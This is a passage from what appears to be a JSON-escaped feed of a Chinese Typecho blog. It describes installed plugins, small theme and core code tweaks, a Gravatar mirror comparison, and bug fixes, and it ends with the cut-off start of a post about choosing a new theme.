Commons。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e\u003ca href=\"https://github.com/kokororin/typecho-plugin-Access\" target=\"_blank\"\u003eAccess\u003c/a\u003e:获取访客信息,生成统计图表,由\u003ca href=\"https://zhaiyiming.com/\" target=\"_blank\"\u003e@一名宅\u003c/a\u003e 部分优化重构。\u003c/summary\u003e\n\u003cblockquote\u003e\n\u003cp\u003e提供简易的访客记录查看。获取访客信息,生成统计图表。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eIP / UV / PV总量统计\u003c/li\u003e\n\u003cli\u003e来源页 / 域名排名\u003c/li\u003e\n\u003cli\u003e最受欢迎的文章\u003c/li\u003e\n\u003cli\u003e国内 / 国际访问地域分析\u003c/li\u003e\n\u003cli\u003e每日IP / UV / PV统计图表(带均线)\u003c/li\u003e\n\u003cli\u003e前后端分离,使用CSR方式展示数据\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e\u003ca href=\"https://github.com/typecho-fans/plugins/tree/master/TeStore\" target=\"_blank\"\u003eTeStore\u003c/a\u003e:读取Github上维护的专用表格实现插件仓库各项功能\u003c/summary\u003e\n\u003cblockquote\u003e\n\u003cp\u003e新GitHub表格解析版插件仓库TeStore v1.1.5\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e以免服务端思路复活这款插件,通过读取GitHub上的专用表格实现插件仓库的搜索、下载和安装删除等功能。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e\u003ca href=\"https://github.com/benzBrake/AAEditor\" target=\"_blank\"\u003eAAEditor\u003c/a\u003e:虾米皮皮乐的编辑器\u003c/summary\u003e\n\u003cblockquote\u003e\n\u003col\u003e\n\u003cli\u003e实时同步预览\u003c/li\u003e\n\u003cli\u003e额外功能按钮\n\u003cul\u003e\n\u003cli\u003e相册排版\u003c/li\u003e\n\u003cli\u003e任务列表\u003c/li\u003e\n\u003cli\u003e符号/表情\u003c/li\u003e\n\u003cli\u003e回复可见\u003c/li\u003e\n\u003cli\u003e文章引用\u003c/li\u003e\n\u003cli\u003e按钮\u003c/li\u003e\n\u003cli\u003em3u8/mp4播放/哔哩哔哩视频\u003c/li\u003e\n\u003cli\u003e卡片\u003c/li\u003e\n\u003cli\u003e多彩按钮\u003c/li\u003e\n\u003cli\u003e多彩文字\u003c/li\u003e\n\u003cli\u003e居中标题\u003c/li\u003e\n\u003cli\u003e折叠卡片\u003c/li\u003e\n\u003cli\u003e多标签卡片\u003c/li\u003e\n\u003cli\u003eGithub卡片\u003c/li\u003e\n\u003cli\u003eCodepen卡片\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e支持增加自定义按钮\u003c/li\u003e\n\u003cli\u003e链接/图片 markdown 简化\u003c/li\u003e\n\u003cli\u003e附件插入优化:一键插入所有图片附件\u003c/li\u003e\n\u003cli\u003e\n\u003cdel\u003e自动匹配标签功能(来自 AutoTags)\u003c/del\u003e\n\u003c/li\u003e\n\u003cli\u003e预览/保存/发布 工具条浮动\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e\u003ca href=\"https://github.com/journey-ad/Shields-Typecho-Plugin\" target=\"_blank\"\u003eShields\u003c/a\u003e:为 Typecho 添加 \u003ca href=\"https://shields.io/\" target=\"_blank\"\u003eshields.io\u003c/a\u003e 支持\u003c/summary\u003e\n\u003cblockquote\u003e\n\u003cul\u003e\n\u003cli\u003e书写语法简洁\u003c/li\u003e\n\u003cli\u003e支持自定义时长缓存\u003c/li\u003e\n\u003cli\u003e可配置类型与样式\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e\u003ca href=\"https://github.com/typecho-fans/plugins/tree/master/Sitemap\" target=\"_blank\"\u003eSitemap\u003c/a\u003e:Google Sitemap 生成器 【\u003ca href=\"https://github.com/typecho-fans/plugins\" target=\"_blank\"\u003eTF\u003c/a\u003e社区维护版】\u003c/summary\u003e\n\u003cblockquote\u003e\n\u003cul\u003e\n\u003cli\u003e动态生成符合搜索引擎收录标准的Xml格式站点地图插件,支持输出分类/标签页地址。\u003c/li\u003e\n\u003cli\u003eSitemap 可方便站长通知搜索引擎网站上有哪些可供抓取的网页。最简单通行的就是Google制定的XML格式标准,其中可列出网址及其元数据(上次更新时间、更改频率和优先级权重等),便于搜索引擎更高效智能地抓取网站内容。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003ch2\u003e\u003ca id=\"content-修改代码\" href=\"https://blog.lsy223622.com/archives/25/#content-%E4%BF%AE%E6%94%B9%E4%BB%A3%E7%A0%81\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e修改代码\u003c/h2\u003e\n\u003cdetails\u003e\n\u003csummary\u003e添加 CopyDog 卡片和修改卡片字体\u003c/summary\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e添加卡片\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e编辑 \u003ccode\u003eusr/themes/jasmine/post.php\u003c/code\u003e\n\u003c/li\u003e\n\u003cli\u003e在 \u003cstrong\u003e16\u003c/strong\u003e 行的 \u003ccode\u003e\u0026amp;lt;?php $this-\u0026gt;content(); ?\u0026amp;gt;\u003c/code\u003e 之后写入 \u003ccode\u003e\u0026amp;lt;?php $this-\u0026gt;copyDog($this); ?\u0026amp;gt;\u003c/code\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca rel=\"noopener noreferrer\" href=\"https://github.com/BigCoke233/typecho-plugin-CopyDog/blob/main/README.md#%E4%BD%BF%E7%94%A8\" title=\"参考文档\"\u003e参考文档\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e修改卡片字体\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e编辑 \u003ccode\u003eusr/plugins/CopyDog/style.css\u003c/code\u003e\n\u003c/li\u003e\n\u003cli\u003e在 \u003cstrong\u003e16\u003c/strong\u003e 行的 \u003ccode\u003efont-family: \u003c/code\u003e 与 \u003ccode\u003e-apple-system\u003c/code\u003e 中间插入 \u003ccode\u003eHarmonyOS-Sans,\u003c/code\u003e\n\u003c/li\u003e\n\u003cli\u003e修改后的这一行代码:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode class=\"language-css\"\u003efont-family: HarmonyOS-Sans,-apple-system,BlinkMacSystemFont,Segoe UI,system-ui,Roboto,PingFang SC,Hiragino Sans GB,Source Han Sans SC,Noto Sans CJK SC,Noto Sans SC,WenQuanYi Micro Hei,WenQuanYi Zen Hei,Microsoft YaHei,Helvetica Neue,Helvetica,Arial,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol;\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e效果展示\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cimg src=\"https://blog.lsy223622.com/usr/uploads/2024/05/1694562549.png\" alt=\"Preview\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e简化页脚\u003c/summary\u003e\n\u003cp\u003e根据 Jasmine 主题的\u003ca rel=\"noopener noreferrer\" href=\"https://github.com/liaocp666/Jasmine/blob/main/README.md#%E8%AE%B8%E5%8F%AF%E5%8D%8F%E8%AE%AE\" title=\"许可协议\"\u003e许可协议\u003c/a\u003e:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cul\u003e\n\u003cli\u003e您可以删除页脚的作者信息。\u003c/li\u003e\n\u003cli\u003e您必须在页脚保留 Jasmine 主题的名称及其链接。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003cul\u003e\n\u003cli\u003e所以编辑 \u003ccode\u003eusr/themes/jasmine/footer.php\u003c/code\u003e\n\u003c/li\u003e\n\u003cli\u003e删除 \u003cstrong\u003e11\u003c/strong\u003e 行的 \u003ccode\u003e by \u0026amp;lt;a href=\u0026#34;https://www.liaocp.cn/\u0026#34; title=\u0026#34;Kent Liao\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026amp;gt;Kent Liao\u0026amp;lt;/a\u0026amp;gt;\u003c/code\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e把 Gravatar 地址替换为国内 Cravatar\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca rel=\"noopener noreferrer\" href=\"https://gravatar.com/\"\u003eGravatar\u003c/a\u003e 头像服务很好用,有个邮箱就能有对应的头像,在国际互联网上使用率还蛮高的\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e但又因为各种各样的原因,国内并不能直接访问 Gravatar 的头像源,头像很有可能加载不出来\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e于是出现了很多第三方的 Gravatar 镜像,头像链接格式不变,替换一下网址就能在国内正常访问\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e在搜集到的 Gravatar 镜像中,我选择了测试速度最快最稳定的 Cravatar。它其实并不完全是 Gravatar 的镜像,而是国内和 Gravatar 类似的一个头像服务。但当请求的邮箱在数据库里没有对应头像的时候,它会从 Gravatar 获取并缓存,所以也可以当作 Gravatar 镜像用\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eTypecho 代码中的 Gravatar 网址是官方源,所以编辑 \u003ccode\u003evar/Typecho/Common.php\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e把 \u003cstrong\u003e836\u003c/strong\u003e 行的两个网址替换成 \u003ccode\u003ecravatar.cn\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e注意:由于 Cravatar 并不是真正的镜像服务,它从 Gravatar 同步头像图片的频率是很低的(可能要等一个月)。所以如果想要立即看到更换后的头像,可以在它的\u003ca rel=\"noopener noreferrer\" href=\"https://cravatar.cn/avatars\"\u003e头像管理页面\u003c/a\u003e上传头像,使用方法和 Gravatar 大同小异。或者也可以改用下表中除了 Cravatar、WeAvatar 和 Gravatar 官方源以外的镜像地址,它们同步频率比较高\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e附我找到并测试可用的镜像网址列表:\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ctable\u003e\n\u003ctbody\u003e\u003ctr\u003e\n\u003cth\u003e名称\u003c/th\u003e\n\u003cth\u003e网址\u003c/th\u003e\n\u003cth\u003e图片测试\u003c/th\u003e\n\u003cth\u003e评价\u003c/th\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eGravatar\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://gravatar.com/avatar/c52883ffeeb1ae43c8a2f456b3284ef3?s=1200\" target=\"_blank\"\u003ehttps://gravatar.com/avatar/\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003cimg src=\"https://gravatar.com/avatar/c52883ffeeb1ae43c8a2f456b3284ef3?s=1200\" alt=\"显示失败\" style=\"max-height:100px;\"/\u003e\u003c/td\u003e\n\u003ctd\u003e官方头像源,但是不好访问\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eCravatar\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://cravatar.cn/avatar/c52883ffeeb1ae43c8a2f456b3284ef3?s=1200\" target=\"_blank\"\u003ehttps://cravatar.cn/avatar/\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003cimg src=\"https://cravatar.cn/avatar/c52883ffeeb1ae43c8a2f456b3284ef3?s=1200\" alt=\"显示失败\" style=\"max-height:100px;\"/\u003e\u003c/td\u003e\n\u003ctd\u003e国内的仿 Gravatar 服务,同时提供 Gravatar 镜像,我测试下来最快最稳定\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eWeAvatar\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://weavatar.com/avatar/c52883ffeeb1ae43c8a2f456b3284ef3?s=1200\" target=\"_blank\"\u003ehttps://weavatar.com/avatar/\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003cimg src=\"https://weavatar.com/avatar/c52883ffeeb1ae43c8a2f456b3284ef3?s=1200\" alt=\"显示失败\" style=\"max-height:100px;\"/\u003e\u003c/td\u003e\n\u003ctd\u003e和 Cravatar 一样的服务,速度慢一点但也比较稳定,画质比 Cravatar 差一些\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSM.MS\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://gravatar.loli.net/avatar/c52883ffeeb1ae43c8a2f456b3284ef3?s=1200\" target=\"_blank\"\u003ehttps://gravatar.loli.net/avatar/\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003cimg src=\"https://gravatar.loli.net/avatar/c52883ffeeb1ae43c8a2f456b3284ef3?s=1200\" alt=\"显示失败\" style=\"max-height:100px;\"/\u003e\u003c/td\u003e\n\u003ctd\u003e老牌图床,可用性应该不会有问题,不过速度不是很稳定,而且尺寸参数被它无视了\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eGeekzu\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://sdn.geekzu.org/avatar/c52883ffeeb1ae43c8a2f456b3284ef3?s=1200\" target=\"_blank\"\u003ehttps://sdn.geekzu.org/avatar/\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003cimg src=\"https://sdn.geekzu.org/avatar/c52883ffeeb1ae43c8a2f456b3284ef3?s=1200\" alt=\"显示失败\" style=\"max-height:100px;\"/\u003e\u003c/td\u003e\n\u003ctd\u003e我测下来没上面几个快,但至少能用\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003esep.cc\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://cdn.sep.cc/avatar/c52883ffeeb1ae43c8a2f456b3284ef3?s=1200\" target=\"_blank\"\u003ehttps://cdn.sep.cc/avatar/\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003cimg src=\"https://cdn.sep.cc/avatar/c52883ffeeb1ae43c8a2f456b3284ef3?s=1200\" alt=\"显示失败\" style=\"max-height:100px;\"/\u003e\u003c/td\u003e\n\u003ctd\u003e同样,慢但是能用\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eWebP Cloud\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://gravatar.webp.se/avatar/c52883ffeeb1ae43c8a2f456b3284ef3?s=1200\" target=\"_blank\"\u003ehttps://gravatar.webp.se/avatar/\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003cimg src=\"https://gravatar.webp.se/avatar/c52883ffeeb1ae43c8a2f456b3284ef3?s=1200\" alt=\"显示失败\" style=\"max-height:100px;\"/\u003e\u003c/td\u003e\n\u003ctd\u003e号称压缩成体积小的 WebP 格式,但实际上反而是最慢的一个\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\u003c/table\u003e\n\u003c/details\u003e\n\u003ch2\u003e\u003ca id=\"content-debug\" href=\"https://blog.lsy223622.com/archives/25/#content-debug\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003eDebug\u003c/h2\u003e\n\u003cdetails\u003e\n\u003csummary\u003e修正友链页面在苹果设备的头像尺寸异常\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e原版 Jasmine 主题的友链页面在苹果设备上查看会出现友链头像尺寸异常大且布局混乱的情况\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e解决方法:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e编辑 \u003ccode\u003eusr/themes/jasmine/page-links.php\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e删除 \u003cstrong\u003e29\u003c/strong\u003e 行的 \u003ccode\u003emin-w-fit min-h-fit\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e修改后的这一行代码:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-html\"\u003e\u0026amp;lt;img src=\u0026#34;{image}\u0026#34;class=\u0026#34;w-14 h-14 rounded-full\u0026#34; loading=\u0026#34;lazy\u0026#34;\u0026amp;gt;\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e感谢小北学长发现和提供解决方法\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e临时允许动态属性以避免 Atom 聚合输出报错\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e在 PHP 8.2 中\u003ca rel=\"noopener noreferrer\" href=\"https://wiki.php.net/rfc/deprecate_dynamic_properties\" title=\"动态属性已弃用\"\u003e动态属性已弃用\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e可以使用 \u003ccode\u003eAllowDynamicProperties\u003c/code\u003e 类来\u003ca rel=\"noopener noreferrer\" href=\"https://www.php.net/manual/zh/class.allowdynamicproperties.php\" title=\"允许动态属性\"\u003e允许动态属性\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003eTypecho 1.2.1 是 2023 年发布的,但是没有兼容 PHP 8.2 在 2021 年投票作出的这个改动,所以在访问 \u003ca href=\"https://blog.lsy223622.com/feed/atom/\" title=\"Atom 聚合输出\"\u003eAtom 聚合输出\u003c/a\u003e时会出现报错\u003c/li\u003e\n\u003cli\u003e解决方法:\n\u003cul\u003e\n\u003cli\u003e编辑 \u003ccode\u003evar/Typecho/Widget/Request.php\u003c/code\u003e\n\u003c/li\u003e\n\u003cli\u003e在 \u003cstrong\u003e11\u003c/strong\u003e 行 \u003ccode\u003eclass Request\u003c/code\u003e 前增加一行,插入 \u003ccode\u003e#[\\AllowDynamicProperties]\u003c/code\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e修正友链名称中过长单词不能正常换行导致长度溢出\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e原版 Jasmine 主题友链页面的卡片中友链名称在含有英文单词的时候不会在单词中间断行,所以长单词会导致所在行长度溢出,现象如下:\n\u003cimg src=\"https://blog.lsy223622.com/usr/uploads/2024/05/2876920829.png\" alt=\"Phenomenon\" loading=\"lazy\"/\u003e\n\u003c/li\u003e\n\u003cli\u003e解决方法:\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e打开 \u003cstrong\u003eTypecho 后台-控制台-外观-设置外观\u003c/strong\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e在\u003cstrong\u003e自定义样式\u003c/strong\u003e添加如下代码:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-css\"\u003e.word-break {\n word-break: break-all;\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e编辑 \u003ccode\u003eusr/themes/jasmine/page-links.php\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e在 \u003cstrong\u003e32\u003c/strong\u003e 行的 \u003ccode\u003eclass=\u0026#34;text-sm \u0026#34;\u003c/code\u003e 里面添加 \u003ccode\u003eword-break\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e修改后的这一行代码:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-html\"\u003e\u0026amp;lt;h4 class=\u0026#34;text-sm word-break\u0026#34;\u0026amp;gt;{name}\u0026amp;lt;/h4\u0026amp;gt;\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e修改 Feed 代码以兼容 \u003ca href=\"https://github.com/xdlinux/planet\" target=\"_blank\"\u003exdu-planet\u003c/a\u003e\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ca rel=\"noopener noreferrer\" href=\"https://github.com/xdlinux/planet\"\u003exdu-planet\u003c/a\u003e 是学长写的一个简单的 RSS 博客聚合站,使用 \u003ccode\u003eGolang+Vue3+ElementPlus\u003c/code\u003e 构建,借助 GitHub Action 实现自动更新 Feed 数据并生成页面,并由 GitHub Pages 呈现\u003c/li\u003e\n\u003cli\u003e上面都是\u003cdel\u003e同学\u003c/del\u003e网友,于是我也去凑了热闹\u003c/li\u003e\n\u003cli\u003e但把 feed 链接 pr 上去之后,我发现展示的并不是我的完整文章,而是文章的简短摘要\u003c/li\u003e\n\u003cli\u003e我先是把 \u003ca href=\"https://blog.lsy223622.com/feed/\"\u003erss\u003c/a\u003e 链接换成了 \u003ca href=\"https://blog.lsy223622.com/feed/atom/\"\u003eatom\u003c/a\u003e 链接,但效果还是没有变化\u003c/li\u003e\n\u003cli\u003e在对 xdu-planet 后端代码的胡乱分析(因为不会 go)之后,感觉应该是在获取文章内容的时候没有对正文的变量名进行判断,只是照着位置获取了 \u003cdel\u003e(这段我也不知道怎么表达清楚反正大概就是这个意思)\u003c/del\u003e\n\u003c/li\u003e\n\u003cli\u003e和别人博客的 feed 对比之后,我发现和他们的相比,我的 \u003ccode\u003e\u0026amp;lt;content\u0026amp;gt;\u003c/code\u003e 前面还有一个 \u003ccode\u003e\u0026amp;lt;summary\u0026amp;gt;\u003c/code\u003e\n\u003c/li\u003e\n\u003cli\u003e于是我编辑 \u003ccode\u003evar/Typecho/Feed.php\u003c/code\u003e\n\u003c/li\u003e\n\u003cli\u003e把 \u003cstrong\u003e332~335\u003c/strong\u003e 行输出 \u003ccode\u003e\u0026amp;lt;summary\u0026amp;gt;\u003c/code\u003e 的代码注释掉了:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode class=\"language-php\"\u003e/**\n if (!empty($item[\u0026#39;excerpt\u0026#39;])) {\n $content .= \u0026#39;\u0026amp;lt;summary type=\u0026#34;html\u0026#34;\u0026amp;gt;\u0026amp;lt;![CDATA[\u0026#39; . htmlspecialchars($item[\u0026#39;excerpt\u0026#39;])\n . \u0026#39;]]\u0026amp;gt;\u0026amp;lt;/summary\u0026amp;gt;\u0026#39; . self::EOL;\n }\n*/\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003e完美解决问题~\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003ch1\u003e\u003ca id=\"content-更新记录\" href=\"https://blog.lsy223622.com/archives/25/#content-%E6%9B%B4%E6%96%B0%E8%AE%B0%E5%BD%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e更新记录\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e2024-05-14 第一次发布\u003c/li\u003e\n\u003cli\u003e2024-05-15 增加:修正友链名称中过长单词不能正常换行导致长度溢出\u003c/li\u003e\n\u003cli\u003e2024-05-16 增加:插件 \u003ccode\u003eTeStore\u003c/code\u003e\n\u003c/li\u003e\n\u003cli\u003e2024-05-17 增加:插件 \u003ccode\u003eAAEditor\u003c/code\u003e \u003ccode\u003eShields\u003c/code\u003e \u003ccode\u003eSitemap\u003c/code\u003e\n\u003c/li\u003e\n\u003cli\u003e2024-05-20 增加:修改 Feed 代码以兼容 xdu-planet\u003c/li\u003e\n\u003cli\u003e2024-05-28 增加:把 Gravatar 地址替换为国内 Cravatar\u003c/li\u003e\n\u003c/ul\u003e\n\n","url":"https://blog.lsy223622.com/archives/25/"},{"title":"换主题了再水一篇😋","time":"2024-04-27T11:37:00Z","content":"\u003chr /\u003e\u003ch1\u003e\u003ca id=\"content-目录\" href=\"https://blog.lsy223622.com/archives/14/#content-%E7%9B%AE%E5%BD%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e目录\u003c/h1\u003e\n\u003cul class=\"table-of-contents\"\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/14/#content-%E7%9B%AE%E5%BD%95\"\u003e目录\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/14/#content-%E4%B9%8B%E5%89%8D%E7%9A%84%E4%B8%BB%E9%A2%98%E5%A4%AA%E4%B8%91%E4%BA%86%E5%95%A6\"\u003e之前的主题太丑了啦\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/14/#content-%E5%AF%BB%E6%89%BE%E6%96%B0%E4%B8%BB%E9%A2%98\"\u003e寻找新主题!\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/14/#content-%E4%B8%BB%E9%A2%98%E5%AE%89%E8%A3%85\"\u003e主题安装\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/14/#content-%E7%8E%AF%E5%A2%83\"\u003e环境\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/14/#content-%E5%AE%89%E8%A3%85\"\u003e安装\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/14/#content-%E6%9B%B4%E6%96%B0\"\u003e更新\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/14/#content-%E4%B8%BB%E9%A2%98%E8%AE%BE%E7%BD%AE\"\u003e主题设置\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/14/#content-%E6%88%AA%E5%9B%BE\"\u003e截图\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-之前的主题太丑了啦\" href=\"https://blog.lsy223622.com/archives/14/#content-%E4%B9%8B%E5%89%8D%E7%9A%84%E4%B8%BB%E9%A2%98%E5%A4%AA%E4%B8%91%E4%BA%86%E5%95%A6\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e之前的主题太丑了啦\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e刚弄好这个博客的时候随便找了个网上搜到的 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/HaoOuBa/Joe\" title=\"Joe 主题\"\u003eJoe 主题\u003c/a\u003e。\u003c/li\u003e\n\u003cli\u003e感觉这主题有点。。花里胡哨的,功能确实比较强大,但是花花绿绿的,不能满足我的简约审美,设计风格也有点过时了,符合我对多年老博客的刻板印象。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-寻找新主题\" href=\"https://blog.lsy223622.com/archives/14/#content-%E5%AF%BB%E6%89%BE%E6%96%B0%E4%B8%BB%E9%A2%98\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e寻找新主题!\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e在网上搜索之后,发现一个不错的 \u003ca rel=\"noopener noreferrer\" href=\"https://typechx.com/\" title=\"Typecho 主题模板站\"\u003eTypecho 主题模板站\u003c/a\u003e,在上面翻到了不少比较喜欢的主题,整理如下:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cdel\u003e(万一以后还想换就能在这里找\u003c/del\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ctable\u003e\n\u003ctbody\u003e\u003ctr\u003e\n\u003ctd\u003e栏数\u003c/td\u003e\n\u003ctd\u003e名称\u003c/td\u003e\n\u003ctd\u003e模板站链接\u003c/td\u003e\n\u003ctd\u003eGitHub 链接\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd rowspan=\"4\" colspan=\"1\"\u003e单栏\u003c/td\u003e\n\u003ctd\u003eMeaWord\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://typechx.com/themes/meaword.html\" target=\"_blank\"\u003eMeaWord\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/Meayair/Typecho-Theme-MeaWord\" target=\"_blank\"\u003eMeayair/Typecho-Theme-MeaWord\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eDayDream\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://typechx.com/themes/1592.html\" 